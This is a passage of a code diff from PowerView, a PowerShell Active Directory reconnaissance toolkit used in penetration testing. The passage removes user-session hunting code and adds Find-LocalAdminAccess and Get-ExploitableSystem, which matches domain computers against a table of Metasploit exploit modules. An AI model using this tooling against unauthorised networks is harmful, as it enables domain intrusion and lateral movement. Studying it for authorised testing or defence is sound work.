$RandNo = New-Object System.Random
- Write-Verbose "[*] Running Invoke-UserHunter with delay of $Delay"
-
- #####################################################
- #
- # First we build the host target set
- #
- #####################################################
+ Write-Verbose "[*] Running Find-LocalAdminAccess with delay of $Delay"
+ # if we're using a host list, read the targets in and add them to the target list
if($ComputerFile) {
- # if we're using a host list, read the targets in and add them to the target list
$ComputerName = Get-Content -Path $ComputerFile
}
- if(!$ComputerName) {
- [Array]$ComputerName = @()
+ if(!$ComputerName) {
+ [array]$ComputerName = @()
if($Domain) {
$TargetDomains = @($Domain)
@@ -5383,250 +11688,34 @@ function Invoke-UserHunter {
}
else {
# use the local domain
- $TargetDomains = @( (Get-NetDomain).name )
- }
-
- if($Stealth) {
- Write-Verbose "Stealth mode! Enumerating commonly used servers"
- Write-Verbose "Stealth source: $StealthSource"
-
- ForEach ($Domain in $TargetDomains) {
- if (($StealthSource -eq "File") -or ($StealthSource -eq "All")) {
- Write-Verbose "[*] Querying domain $Domain for File Servers..."
- $ComputerName += Get-NetFileServer -Domain $Domain -DomainController $DomainController
- }
- if (($StealthSource -eq "DFS") -or ($StealthSource -eq "All")) {
- Write-Verbose "[*] Querying domain $Domain for DFS Servers..."
- $ComputerName += Get-DFSshare -Domain $Domain -DomainController $DomainController | ForEach-Object {$_.RemoteServerName}
- }
- if (($StealthSource -eq "DC") -or ($StealthSource -eq "All")) {
- Write-Verbose "[*] Querying domain $Domain for Domain Controllers..."
- $ComputerName += Get-NetDomainController -LDAP -Domain $Domain -DomainController $DomainController | ForEach-Object { $_.dnshostname}
- }
- }
- }
- else {
- ForEach ($Domain in $TargetDomains) {
- Write-Verbose "[*] Querying domain $Domain for hosts"
-
- $Arguments = @{
- 'Domain' = $Domain
- 'DomainController' = $DomainController
- 'ADSpath' = $ADSpath
- 'Filter' = $ComputerFilter
- 'Unconstrained' = $Unconstrained
- }
-
- $ComputerName += Get-NetComputer @Arguments
- }
- }
-
- # remove any null target hosts, uniquify the list and shuffle it
- $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
- if($($ComputerName.Count) -eq 0) {
- throw "No hosts found!"
- }
- }
-
- #####################################################
- #
- # Now we build the user target set
- #
- #####################################################
-
- # users we're going to be searching for
- $TargetUsers = @()
-
- # get the current user so we can ignore it in the results
- $CurrentUser = ([Environment]::UserName).toLower()
-
- # if we're showing all results, skip username enumeration
- if($ShowAll -or $ForeignUsers) {
- $User = New-Object PSObject
- $User | Add-Member Noteproperty 'MemberDomain' $Null
- $User | Add-Member Noteproperty 'MemberName' '*'
- $TargetUsers = @($User)
-
- if($ForeignUsers) {
- # if we're searching for user results not in the primary domain
- $krbtgtName = Convert-ADName -ObjectName "krbtgt@$($Domain)" -InputType Simple -OutputType NT4
- $DomainShortName = $krbtgtName.split("\")[0]
- }
- }
- # if we want to hunt for the effective domain users who can access a target server
- elseif($TargetServer) {
- Write-Verbose "Querying target server '$TargetServer' for local users"
- $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object {
- $User = New-Object PSObject
- $User | Add-Member Noteproperty 'MemberDomain' ($_.AccountName).split("/")[0].toLower()
- $User | Add-Member Noteproperty 'MemberName' ($_.AccountName).split("/")[1].toLower()
- $User
- } | Where-Object {$_}
- }
- # if we get a specific username, only use that
- elseif($UserName) {
- Write-Verbose "[*] Using target user '$UserName'..."
- $User = New-Object PSObject
- if($TargetDomains) {
- $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0]
- }
- else {
- $User | Add-Member Noteproperty 'MemberDomain' $Null
- }
- $User | Add-Member Noteproperty 'MemberName' $UserName.ToLower()
- $TargetUsers = @($User)
- }
- # read in a target user list if we have one
- elseif($UserFile) {
- $TargetUsers = Get-Content -Path $UserFile | ForEach-Object {
- $User = New-Object PSObject
- if($TargetDomains) {
- $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0]
- }
- else {
- $User | Add-Member Noteproperty 'MemberDomain' $Null
- }
- $User | Add-Member Noteproperty 'MemberName' $_
- $User
- } | Where-Object {$_}
- }
- elseif($UserADSpath -or $UserFilter -or $AdminCount) {
- ForEach ($Domain in $TargetDomains) {
-
- $Arguments = @{
- 'Domain' = $Domain
- 'DomainController' = $DomainController
- 'ADSpath' = $UserADSpath
- 'Filter' = $UserFilter
- 'AdminCount' = $AdminCount
- 'AllowDelegation' = $AllowDelegation
- }
-
- Write-Verbose "[*] Querying domain $Domain for users"
- $TargetUsers += Get-NetUser @Arguments | ForEach-Object {
- $User = New-Object PSObject
- $User | Add-Member Noteproperty 'MemberDomain' $Domain
- $User | Add-Member Noteproperty 'MemberName' $_.samaccountname
- $User
- } | Where-Object {$_}
-
- }
- }
- else {
- ForEach ($Domain in $TargetDomains) {
- Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'"
- $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController
+ $TargetDomains = @( (Get-NetDomain).name )
}
- }
- if (( (-not $ShowAll) -and (-not $ForeignUsers) ) -and ((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) {
- throw "[!] No users found to search for!"
+ ForEach ($Domain in $TargetDomains) {
+ Write-Verbose "[*] Querying domain $Domain for hosts"
+ $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController
+ }
+
+ # remove any null target hosts, uniquify the list and shuffle it
+ $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
+ if($($ComputerName.Count) -eq 0) {
+ throw "No hosts found!"
+ }
}
# script block that enumerates a server
$HostEnumBlock = {
- param($ComputerName, $Ping, $TargetUsers, $CurrentUser, $Stealth, $DomainShortName)
+ param($ComputerName, $Ping)
- # optionally check if the server is up first
$Up = $True
if($Ping) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
}
if($Up) {
- if(!$DomainShortName) {
- # if we're not searching for foreign users, check session information
- $Sessions = Get-NetSession -ComputerName $ComputerName
- ForEach ($Session in $Sessions) {
- $UserName = $Session.sesi10_username
- $CName = $Session.sesi10_cname
-
- if($CName -and $CName.StartsWith("\\")) {
- $CName = $CName.TrimStart("\")
- }
-
- # make sure we have a result
- if (($UserName) -and ($UserName.trim() -ne '') -and (!($UserName -match $CurrentUser))) {
-
- $TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object {
-
- $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress
- $FoundUser = New-Object PSObject
- $FoundUser | Add-Member Noteproperty 'UserDomain' $_.MemberDomain
- $FoundUser | Add-Member Noteproperty 'UserName' $UserName
- $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName
- $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress
- $FoundUser | Add-Member Noteproperty 'SessionFrom' $CName
-
- # Try to resolve the DNS hostname of $Cname
- try {
- $CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName
- }
- catch {
- $CNameDNSName = $CName
- }
- $FoundUser | Add-Member NoteProperty 'SessionFromName' $CNameDNSName
-
- # see if we're checking to see if we have local admin access on this machine
- if ($CheckAccess) {
- $Admin = Invoke-CheckLocalAdminAccess -ComputerName $CName
- $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin
- }
- else {
- $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null
- }
- $FoundUser.PSObject.TypeNames.Add('PowerView.UserSession')
- $FoundUser
- }
- }
- }
- }
- if(!$Stealth) {
- # if we're not 'stealthy', enumerate loggedon users as well
- $LoggedOn = Get-NetLoggedon -ComputerName $ComputerName
- ForEach ($User in $LoggedOn) {
- $UserName = $User.wkui1_username
- # TODO: translate domain to authoratative name
- # then match domain name ?
- $UserDomain = $User.wkui1_logon_domain
-
- # make sure wet have a result
- if (($UserName) -and ($UserName.trim() -ne '')) {
-
- $TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object {
-
- $Proceed = $True
- if($DomainShortName) {
- if ($DomainShortName.ToLower() -ne $UserDomain.ToLower()) {
- $Proceed = $True
- }
- else {
- $Proceed = $False
- }
- }
- if($Proceed) {
- $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress
- $FoundUser = New-Object PSObject
- $FoundUser | Add-Member Noteproperty 'UserDomain' $UserDomain
- $FoundUser | Add-Member Noteproperty 'UserName' $UserName
- $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName
- $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress
- $FoundUser | Add-Member Noteproperty 'SessionFrom' $Null
- $FoundUser | Add-Member Noteproperty 'SessionFromName' $Null
-
- # see if we're checking to see if we have local admin access on this machine
- if ($CheckAccess) {
- $Admin = Invoke-CheckLocalAdminAccess -ComputerName $ComputerName
- $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin
- }
- else {
- $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null
- }
- $FoundUser.PSObject.TypeNames.Add('PowerView.UserSession')
- $FoundUser
- }
- }
- }
- }
+ # check if the current user has local admin access to this server
+ $Access = Invoke-CheckLocalAdminAccess -ComputerName $ComputerName
+ if ($Access) {
+ $ComputerName
}
}
}
@@ -5641,10 +11730,6 @@ function Invoke-UserHunter {
# if we're using threading, kick off the script block with Invoke-ThreadedFunction
$ScriptParams = @{
'Ping' = $(-not $NoPing)
- 'TargetUsers' = $TargetUsers
- 'CurrentUser' = $CurrentUser
- 'Stealth' = $Stealth
- 'DomainShortName' = $DomainShortName
}
# kick off the threaded script block + arguments
@@ -5669,16 +11754,346 @@ function Invoke-UserHunter {
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))"
- $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $TargetUsers, $CurrentUser, $Stealth, $DomainShortName
- $Result
-
- if($Result -and $StopOnSuccess) {
- Write-Verbose "[*] Target user found, returning early"
- return
- }
+ Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False
}
}
+ }
+}
+
+
+function Get-ExploitableSystem {
+<#
+ .Synopsis
+
+ This module will query Active Directory for the hostname, OS version, and service pack level
+ for each computer account. That information is then cross-referenced against a list of common
+ Metasploit exploits that can be used during penetration testing.
+
+ .DESCRIPTION
+
+ This module will query Active Directory for the hostname, OS version, and service pack level
+ for each computer account. That information is then cross-referenced against a list of common
+ Metasploit exploits that can be used during penetration testing. The script filters out disabled
+ domain computers and provides the computer's last logon time to help determine if it's been
+ decommissioned. Also, since the script uses data tables to output affected systems the results
+ can be easily piped to other commands such as test-connection or a Export-Csv.
+
+ .PARAMETER ComputerName
+
+ Return computers with a specific name, wildcards accepted.
+
+ .PARAMETER SPN
+
+ Return computers with a specific service principal name, wildcards accepted.
+
+ .PARAMETER OperatingSystem
+
+ Return computers with a specific operating system, wildcards accepted.
+
+ .PARAMETER ServicePack
+
+ Return computers with a specific service pack, wildcards accepted.
+
+ .PARAMETER Filter
+
+ A customized ldap filter string to use, e.g. "(description=*admin*)"
+
+ .PARAMETER Ping
+
+ Switch. Ping each host to ensure it's up before enumerating.
+
+ .PARAMETER Domain
+
+ The domain to query for computers, defaults to the current domain.
+
+ .PARAMETER DomainController
+
+ Domain controller to reflect LDAP queries through.
+
+ .PARAMETER ADSpath
+
+ The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+ Useful for OU queries.
+
+ .PARAMETER Unconstrained
+
+ Switch. Return computer objects that have unconstrained delegation.
+
+ .PARAMETER PageSize
+
+ The PageSize to set for the LDAP searcher object.
+
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
+
+ .EXAMPLE
+
+ The example below shows the standard command usage. Disabled system are excluded by default, but
+ the "LastLgon" column can be used to determine which systems are live. Usually, if a system hasn't
+ logged on for two or more weeks it's been decommissioned.
+ PS C:\> Get-ExploitableSystem -DomainController 192.168.1.1 -Credential demo.com\user | Format-Table -AutoSize
+ [*] Grabbing computer accounts from Active Directory...
+ [*] Loading exploit list for critical missing patches...
+ [*] Checking computers for vulnerable OS and SP levels...
+ [+] Found 5 potentially vulnerable systems!
+ ComputerName OperatingSystem ServicePack LastLogon MsfModule CVE
+ ------------ --------------- ----------- --------- --------- ---
+ ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails....
+ ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails....
+ ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails....
+ LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails....
+ LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails....
+ LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails....
+ assess-xppro.demo.com Windows XP Professional Service Pack 3 4/1/2014 11:11:54 AM exploit/windows/smb/ms08_067_netapi http://www.cvedetails....
+ assess-xppro.demo.com Windows XP Professional Service Pack 3 4/1/2014 11:11:54 AM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails....
+ HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails....
+ HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails....
+ HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails....
+ DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails....
+ DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails....
+ DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails....
+
+ .EXAMPLE
+
+ PS C:\> Get-ExploitableSystem | Export-Csv c:\temp\output.csv -NoTypeInformation
+
+ How to write the output to a csv file.
+
+ .EXAMPLE
+
+ PS C:\> Get-ExploitableSystem -Domain testlab.local -Ping
+
+ Return a set of live hosts from the testlab.local domain
+
+ .LINK
+
+ http://www.netspi.com
+ https://github.com/nullbind/Powershellery/blob/master/Stable-ish/ADS/Get-ExploitableSystems.psm1
+
+ .NOTES
+
+ Author: Scott Sutherland - 2015, NetSPI
+ Modifications to integrate into PowerView by @harmj0y
+ Version: Get-ExploitableSystem.psm1 v1.1
+ Comments: The technique used to query LDAP was based on the "Get-AuditDSComputerAccount"
+ function found in Carols Perez's PoshSec-Mod project. The general idea is based off of
+ Will Schroeder's "Invoke-FindVulnSystems" function from the PowerView toolkit.
+#>
+ [CmdletBinding()]
+ Param(
+ [Parameter(ValueFromPipeline=$True)]
+ [Alias('HostName')]
+ [String]
+ $ComputerName = '*',
+
+ [String]
+ $SPN,
+
+ [String]
+ $OperatingSystem = '*',
+
+ [String]
+ $ServicePack = '*',
+
+ [String]
+ $Filter,
+
+ [Switch]
+ $Ping,
+
+ [String]
+ $Domain,
+
+ [String]
+ $DomainController,
+
+ [String]
+ $ADSpath,
+
+ [Switch]
+ $Unconstrained,
+
+ [ValidateRange(1,10000)]
+ [Int]
+ $PageSize = 200,
+
+ [Management.Automation.PSCredential]
+ $Credential
+ )
+
+ Write-Verbose "[*] Grabbing computer accounts from Active Directory..."
+
+ # Create data table for hostnames, os, and service packs from LDAP
+ $TableAdsComputers = New-Object System.Data.DataTable
+ $Null = $TableAdsComputers.Columns.Add('Hostname')
+ $Null = $TableAdsComputers.Columns.Add('OperatingSystem')
+ $Null = $TableAdsComputers.Columns.Add('ServicePack')
+ $Null = $TableAdsComputers.Columns.Add('LastLogon')
+
+ Get-NetComputer -FullData @PSBoundParameters | ForEach-Object {
+
+ $CurrentHost = $_.dnshostname
+ $CurrentOs = $_.operatingsystem
+ $CurrentSp = $_.operatingsystemservicepack
+ $CurrentLast = $_.lastlogon
+ $CurrentUac = $_.useraccountcontrol
+
+ $CurrentUacBin = [convert]::ToString($_.useraccountcontrol,2)
+
+ # Check the 2nd to last value to determine if its disabled
+ $DisableOffset = $CurrentUacBin.Length - 2
+ $CurrentDisabled = $CurrentUacBin.Substring($DisableOffset,1)
+
+ # Add computer to list if it's enabled
+ if ($CurrentDisabled -eq 0) {
+ # Add domain computer to data table
+ $Null = $TableAdsComputers.Rows.Add($CurrentHost,$CurrentOS,$CurrentSP,$CurrentLast)
+ }
+ }
+
+ # Status user
+ Write-Verbose "[*] Loading exploit list for critical missing patches..."
+ # ----------------------------------------------------------------
+ # Setup data table for list of msf exploits
+ # ----------------------------------------------------------------
+
+ # Create data table for list of patches levels with a MSF exploit
+ $TableExploits = New-Object System.Data.DataTable
+ $Null = $TableExploits.Columns.Add('OperatingSystem')
+ $Null = $TableExploits.Columns.Add('ServicePack')
+ $Null = $TableExploits.Columns.Add('MsfModule')
+ $Null = $TableExploits.Columns.Add('CVE')
+
+ # Add exploits to data table
+ $Null = $TableExploits.Rows.Add("Windows 7","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")
+ $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")
+ $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")
+ $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109")
+ $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")
+ $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")
+ $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")
+ $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109")
+ $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/")
+ $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")
+ $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")
+ $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")
+ $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109")
+ $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")
+ $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")
+ $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")
+ $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748")
+ $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/")
+ $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439")
+ $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688")
+ $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_070_wkssvc","http://www.cvedetails.com/cve/2006-4691")
+ $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250")
+ $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")
+ $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")
+ $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")
+ $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109")
+ $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/smb/ms05_039_pnp","http://www.cvedetails.com/cve/2005-1983")
+ $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")
+ $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748")
+ $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439")
+ $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688")
+ $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250")
+ $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")
+ $Null = $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748")
+ $Null = $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250")
+ $Null = $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")
+ $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")
+ $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439")
+ $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250")
+ $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")
+ $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")
+ $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/")
+ $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439")
+ $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")
+ $Null = $TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103")
+ $Null = $TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")
+ $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250")
+ $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103")
+ $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")
+ $Null = $TableExploits.Rows.Add("Windows Server 2008 R2","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")
+ $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250")
+ $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103")
+ $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")
+ $Null = $TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103")
+ $Null = $TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")
+ $Null = $TableExploits.Rows.Add("Windows Vista","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250")
+ $Null = $TableExploits.Rows.Add("Windows Vista","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103")
+ $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")
+ $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")
+ $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/")
+ $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms05_039_pnp","http://www.cvedetails.com/cve/2005-1983")
+ $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439")
+ $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")
+ $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439")
+ $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688")
+ $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_070_wkssvc","http://www.cvedetails.com/cve/2006-4691")
+ $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250")
+ $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")
+ $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 3","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250")
+ $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 3","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")
+ $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")
+ $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")
+ $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439")
+ $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250")
+
+ # Status user
+ Write-Verbose "[*] Checking computers for vulnerable OS and SP levels..."
+
+ # ----------------------------------------------------------------
+ # Setup data table to store vulnerable systems
+ # ----------------------------------------------------------------
+
+ # Create data table to house vulnerable server list
+ $TableVulnComputers = New-Object System.Data.DataTable
+ $Null = $TableVulnComputers.Columns.Add('ComputerName')
+ $Null = $TableVulnComputers.Columns.Add('OperatingSystem')
+ $Null = $TableVulnComputers.Columns.Add('ServicePack')
+ $Null = $TableVulnComputers.Columns.Add('LastLogon')
